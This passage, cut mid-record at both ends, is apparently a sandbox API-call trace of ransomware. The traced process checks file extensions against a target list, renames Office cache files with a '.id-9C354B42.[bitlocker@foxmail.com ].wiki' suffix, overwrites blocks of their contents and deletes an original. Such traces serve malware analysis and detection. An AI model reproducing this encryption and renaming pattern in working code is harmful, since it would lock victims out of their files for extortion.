lpString2=".msi") returned 1 [0055.963] lstrlenW (lpString=".xls") returned 4 [0055.963] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.963] lstrlenW (lpString=".xlsx") returned 5 [0055.963] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.964] lstrlenW (lpString=".ppt") returned 4 [0055.964] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.964] lstrlenW (lpString=".zip") returned 4 [0055.964] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.964] lstrlenW (lpString=".rar") returned 4 [0055.964] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.964] lstrlenW (lpString=".bz2") returned 4 [0055.964] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.964] lstrlenW (lpString=".7z") returned 3 [0055.964] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.964] lstrlenW (lpString=".dbf") returned 4 [0055.964] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.964] lstrlenW (lpString=".1cd") returned 4 [0055.964] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.964] lstrlenW (lpString=".jpg") returned 4 [0055.964] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.964] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0055.964] lstrlenW (lpString="ProPrWW.cab") returned 11 [0055.964] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.600] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=177720283) returned 1 [0056.600] CloseHandle (hObject=0x214) returned 1 [0056.600] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0056.600] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.601] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0056.601] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.601] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0056.601] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.601] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.608] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.609] ReadFile (in: hFile=0x214, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.613] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.613] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.613] ReadFile (in: hFile=0x214, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.628] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.628] WriteFile (in: hFile=0x214, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0057.161] SetEndOfFile (hFile=0x214) returned 1 [0057.282] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40e5008 [0057.967] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.967] WriteFile (in: hFile=0x214, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.968] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.968] WriteFile (in: hFile=0x214, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.968] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.968] WriteFile (in: hFile=0x214, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.970] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40e5008 | out: hHeap=0x6c0000) returned 1 [0057.970] CloseHandle (hObject=0x214) returned 1 [0057.971] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0057.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.971] lstrlenW (lpString=".doc") returned 4 [0057.971] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0057.971] lstrlenW (lpString=".docx") returned 5 [0057.971] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0057.971] lstrlenW (lpString=".pdf") returned 4 [0057.971] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0057.971] lstrlenW (lpString=".xls") returned 4 [0057.971] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0057.971] lstrlenW (lpString=".xlsx") returned 5 [0057.971] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0057.971] lstrlenW (lpString=".ppt") returned 4 [0057.971] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0057.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.971] lstrlenW (lpString=".zip") returned 4 [0057.971] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0057.971] lstrlenW (lpString=".rar") returned 4 [0057.971] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0057.971] lstrlenW (lpString=".bz2") returned 4 [0057.971] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0057.971] lstrlenW (lpString=".7z") returned 3 [0057.971] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0057.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.972] lstrlenW (lpString=".dbf") returned 4 [0057.972] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.972] lstrlenW (lpString=".1cd") returned 4 [0057.972] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0057.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.972] lstrlenW (lpString=".jpg") returned 4 [0057.972] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.972] lstrlenW (lpString=".doc") returned 4 [0057.972] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString=".docx") returned 5 [0057.972] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0057.972] lstrlenW (lpString=".pdf") returned 4 [0057.972] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString=".xls") returned 4 [0057.972] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString=".xlsx") returned 5 [0057.972] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0057.972] lstrlenW (lpString=".ppt") returned 4 [0057.972] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.972] lstrlenW (lpString=".zip") returned 4 [0057.972] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString=".rar") returned 4 [0057.972] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0057.972] lstrlenW (lpString=".bz2") returned 4 [0057.972] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0057.972] lstrlenW (lpString=".7z") returned 3 [0057.972] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0057.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.972] lstrlenW (lpString=".dbf") returned 4 [0057.973] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0057.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.973] lstrlenW (lpString=".1cd") returned 4 [0057.973] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0057.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0057.973] lstrlenW (lpString=".jpg") returned 4 [0057.973] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0057.973] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0057.973] lstrlenW (lpString="PidGenX.dll") returned 11 [0057.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.973] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1463568) returned 1 [0057.973] CloseHandle (hObject=0x214) returned 1 [0057.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0057.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.973] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.974] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.974] GetLastError () returned 0x0 [0057.974] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.003] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0058.236] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x65520, lpOverlapped=0x0) returned 1 [0058.249] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0058.258] ReadFile (in: hFile=0x214, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.258] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.258] SetEndOfFile (hFile=0x18c) returned 1 [0058.427] CloseHandle (hObject=0x18c) returned 1 [0058.427] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.427] SetEndOfFile (hFile=0x214) returned 1 [0058.430] CloseHandle (hObject=0x214) returned 1 [0058.430] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.431] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0058.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString=".doc") returned 4 [0058.745] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.745] lstrlenW (lpString=".docx") returned 5 [0058.745] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0058.745] lstrlenW (lpString=".pdf") returned 4 [0058.745] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.745] lstrlenW (lpString=".xls") returned 4 [0058.745] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.745] lstrlenW (lpString=".xlsx") returned 5 [0058.745] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0058.745] lstrlenW (lpString=".ppt") returned 4 [0058.745] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString=".zip") returned 4 [0058.745] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.745] lstrlenW (lpString=".rar") returned 4 [0058.745] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.745] lstrlenW (lpString=".bz2") returned 4 [0058.745] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.745] lstrlenW (lpString=".7z") returned 3 [0058.745] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString=".dbf") returned 4 [0058.745] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString=".1cd") returned 4 [0058.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString=".jpg") returned 4 [0058.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.745] lstrlenW (lpString=".doc") returned 4 [0058.746] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.746] lstrlenW (lpString=".docx") returned 5 [0058.746] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0058.746] lstrlenW (lpString=".pdf") returned 4 [0058.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.746] lstrlenW (lpString=".xls") returned 4 [0058.746] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.746] lstrlenW (lpString=".xlsx") returned 5 [0058.746] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0058.746] lstrlenW (lpString=".ppt") returned 4 [0058.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.746] lstrlenW (lpString=".zip") returned 4 [0058.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.746] lstrlenW (lpString=".rar") returned 4 [0058.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.746] lstrlenW (lpString=".bz2") returned 4 [0058.746] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.746] lstrlenW (lpString=".7z") returned 3 [0058.746] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.746] lstrlenW (lpString=".dbf") returned 4 [0058.746] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.746] lstrlenW (lpString=".1cd") returned 4 [0058.746] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.746] lstrlenW (lpString=".jpg") returned 4 [0058.746] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.746] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0058.746] lstrlenW (lpString="Office32WW.msi") returned 14 [0058.747] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0058.747] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1992192) returned 1 [0058.747] CloseHandle (hObject=0x18c) returned 1 [0058.747] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0058.747] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.747] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0058.748] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0058.748] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0058.748] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.748] ReadFile (in: hFile=0x18c, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.752] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.753] ReadFile (in: hFile=0x18c, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.755] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.755] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.756] ReadFile (in: hFile=0x18c, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.770] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.770] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0058.947] SetEndOfFile (hFile=0x18c) returned 1 [0058.983] RtlAllocateHeap 